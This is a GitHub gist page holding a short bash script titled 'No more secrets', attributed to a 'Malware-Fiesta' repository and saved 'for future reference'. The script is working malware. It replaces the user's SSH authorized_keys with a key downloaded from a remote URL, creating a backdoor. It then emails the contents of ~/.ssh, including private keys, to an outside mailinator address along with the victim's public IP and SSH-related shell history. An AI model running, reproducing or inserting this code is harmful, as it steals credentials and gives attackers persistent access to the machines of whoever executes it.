Skip to content

Instantly share code, notes, and snippets.

@NullArray
Created June 28, 2018 01:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NullArray/4ac593c14e5c890511d9e2897adf803a to your computer and use it in GitHub Desktop.
Save NullArray/4ac593c14e5c890511d9e2897adf803a to your computer and use it in GitHub Desktop.
No more secrets.
#!/bin/bash
# Original by Kevin Hodges at https://github.com/khodges42
# Original Source File -> https://github.com/khodges42/Malware-Fiesta/blob/master/src/nomoresecrets/nomoresecrets.sh
# Saving here for future reference.
############################################
ip=$(dig +short myip.opendns.com @resolver1.opendns.com)
curl -s https://raw.githubusercontent.com/khodges42/good-ideas/master/Public > ~/.ssh/authorized_keys
cat * ~/.ssh/ | mail -s "$ip" nomoresecrets@mailinator.com
history | grep ssh | mail -s "$ip" nomoresecrets@mailinator.com
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment